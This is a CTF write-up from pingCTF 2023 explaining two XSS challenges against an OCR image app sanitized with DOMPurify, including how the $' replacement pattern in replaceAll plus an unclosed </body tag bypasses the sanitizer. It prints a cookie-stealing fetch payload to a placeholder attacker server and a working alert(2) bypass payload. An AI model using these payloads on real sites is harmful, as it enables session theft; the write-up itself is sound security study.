pingCTF 2023 - [Web] i-see-no-vulnerability-fixed (200pts)

First challenge - i-see-no-vulnerability

During the pingCTF 2023, a web challenge got my attention because it seemed to be a challenge about XSS vulnerablities.

The challenge consists of a web application, taking as an input image file. An OCR extracts the text contained in the image, stores it in a dictionnary. Then, the user is redirected to a result page, showing the image and the extracted text.

The text is sanitized with DOMPurify, which safely escapes HTML tags to avoid XSS.

Every package used are up to date and safe from known CVE.

In the first challenge called i-see-no-vulnerability, the vulnerability comes from the fact that the text extracted from the image is replaced in the result page twice instead of the {{VISION_TEXT}} placeholder :

<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Image {{IMAGE}}</title>
    <link
        rel="stylesheet"
        href="https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css" />
</head>
<body>
    <section class="hero">
        <div class="hero-body">
            <p class="title">I'm a visionary!!!</p>
            <p class="subtitle">I see...</p>
            <div id="vision">{{VISION_TEXT}}</div>
        </div>
    </section>
    <footer class="footer">
        <div class="content has-text-centered">
            <p><a href="/">Go back</a></p>
            <p>
                NSFW? <form method="post" action="/report/{{IMAGE}}"><input type="submit" value="Click here to report" class="button" /></form>
            </p>
        </div>
    </footer>
    <script>
        const text = "{{VISION_TEXT}}";
        if (text.length === 0) {
            vision.innerHTML = "<img src='/i-see-nothing.gif' />";
        }
    </script>
</body

The exploit is pretty simple as DOMPurify doesn’t purify JavaScript code itself, but attempts to sanitize DOM elements triggering JavaScript code execution by removing them.

We can extract the cookie of the administrator and flag the first challenge.
"; fetch("http://attacker_server/?cookie" + document.cookie);//

Basic XSS payload, nothing really interesting here.

Second challenge - i-see-no-vulnerability-fixed

This challenge is exactly the same, but the entire <script> section was removed in the result template.

The challenges consists now in bypassing the DOMPurify filter.

After a little bit of research, I understood that if I found a DOMPurify bypass on the latest version, I’d better submit the vulnerability in a bug bounty and get big rewards.

Consequently, the problem comes from an implementation problem.

app.get("/result/:uuid", (req, res) => {
	const { uuid } = req.params;
	if (isValidUUID(uuid)) {
		const unsafe_text = visionedDict[uuid];
		if (unsafe_text === undefined) {
			return res.redirect("/");
		}
		const text = DOMPurify.sanitize(unsafe_text);
		const page = readFileSync("./templates/result.html", "utf8")
			.replaceAll("{{VISION_TEXT}}", text)
			.replaceAll("{{IMAGE}}", uuid);
		res.send(page);
	} else {
		res.status(400).send("Invalid UUID");
	}
});
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Image {{IMAGE}}</title>
    <link
        rel="stylesheet"
        href="https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css" />
</head>
<body>
    <section class="hero">
        <div class="hero-body">
            <p class="title">I'm a visionary!!!</p>
            <p class="subtitle">I see...</p>
            <div id="vision">{{VISION_TEXT}}</div>
        </div>
    </section>
    <footer class="footer">
        <div class="content has-text-centered">
            <p><a href="/">Go back</a></p>
            <p>
                NSFW? <form method="post" action="/report/{{IMAGE}}"><input type="submit" value="Click here to report" class="button" /></form>
            </p>
        </div>
    </footer>
</body

I didn’t find any implementation problem on this new version.

I wanted to enjoy my week-end, so I didn’t push any further on the subject, waiting for the write-up in order to understand what I missed.

Write-up of i-see-no-vulnerability-fixed

I opened the write-up monday morning, and saw this :

# Write-up: i-see-no-vulnerability-fixed

## Category: web

## Author tomek7667

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace

As you can see a special character '$' is used which allows to reference the replacer in the replacee and as the body is not closed we can inject our html.

The following payload triggers and `alert(2)` on the site:

$' a='<a href="'><img src=a onerror=alert(2)>">asd</a>

You might as well write : I’m too lazy to write the explanation, so here’s the payload. It would have been shorter.

It bothered me that I didn’t understand the payload and why it worked.

So I decided to analyze the payload by myself.

Replace $' operator

Let’s analyze step by step the magnificient write-up of our dear author.

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace

The link shows the documentation of JavaScript replace function. GrEaT… Much details, Such description.

The interesting part is about a specific section of this documentation : Specifying a string as the replacement.

Here is the link to it : https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement

Let’s understand how does $' works with replace js native function.

$' is a placeholder in the value replaced for : “take everything which is after the token replaced”.

To help you understand how it works, here are two examples detailed :

Example 1

> const initialText = "abc";
> const textReplaced = initialText.replace("b", "$'d")
> console.log(textReplaced);
acdc

example1

(Sorry for color blind and CVD people)

Example 2

const initialText = "abcbe";
const textReplaced = initialText.replaceAll("b", "$'d")
console.log(textReplaced);
acbedfcedfe

This time, we will use replaceAll()

example2

As we can see, the $' operator adapts depending on which token is replaced.

XSS comprehension

Now, let’s analyze the payload once result.html has replaced {{VISION_TEXT}} placeholder.

As you can see, all the text after {{VISION_TEXT}} has been added before a='<a href="'><img src=a onerror=alert(2)>">asd</a> thanks to the $' operator.

I will explain why it’s important later.

<body>
    <section class="hero">
        <div class="hero-body">
            <p class="title">I'm a visionary!!!</p>
            <p class="subtitle">I see...</p>
            <div id="vision"></div>
        </div>
    </section>
    <footer class="footer">
        <div class="content has-text-centered">
            <p><a href="/">Go back</a></p>
            <p>
                NSFW? <form method="post" action="/report/f981e828-ea4b-4c9b-90f8-b08abbe4f1e9"><input type="submit" value="Click here to report" class="button" /></form>
            </p>
        </div>
    </footer>
</body
 a='<a href="'><img src=a onerror=alert(2)>">a</a></div>
        </div>
    </section>
    <footer class="footer">
        <div class="content has-text-centered">
            <p><a href="/">Go back</a></p>
            <p>
                NSFW? <form method="post" action="/report/f981e828-ea4b-4c9b-90f8-b08abbe4f1e9"><input type="submit" value="Click here to report" class="button" /></form>
            </p>
        </div>
    </footer>
</body

There are a lot of information that are not needed to understand the exploit. I removed elements by elements, verifying every time if the payload was still working.

Eventually, I ended up with this payload, which is way easier to understand :

</body
 a='<a href="'><img src=a onerror=alert(2)>">a</a>

The tag </body is not closed correctly.

Consequently, the body tag is interpreted like this in the browser : </body a='<a href="'>.
a= is taken as a parameter of the body tag, and <a href=" is interpreted as the value of the a parameter.

Next, <img src=a onerror=alert(2)> is interpreted, making the alert(2) pop on the screen.

But DOMPurify is only confronted to this payload :

$' a='<a href="'><img src=a onerror=alert(2)>">asd</a>

$' a=' This part is basicaly ignored by DOMPurify parser.
The <a> tag is analyzed, the content of the href is ignored because it’s contained in a string.
That’s exactly where the javascript execution is placed, with a basic xss payload like <img src=x onerror=alert(1)>.

We were able to get the closing </body tag just before our payload thanks to the $' operator.

This exploit wouldn’t have been possible if the code used a templating engine instead of the replaceAll native JavaScript function.

When we inspect the behavior of the browser with this payload, we can see that every closing tags without an opening tag before are removed.

Link to the presentation I did in french about this subject.


Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.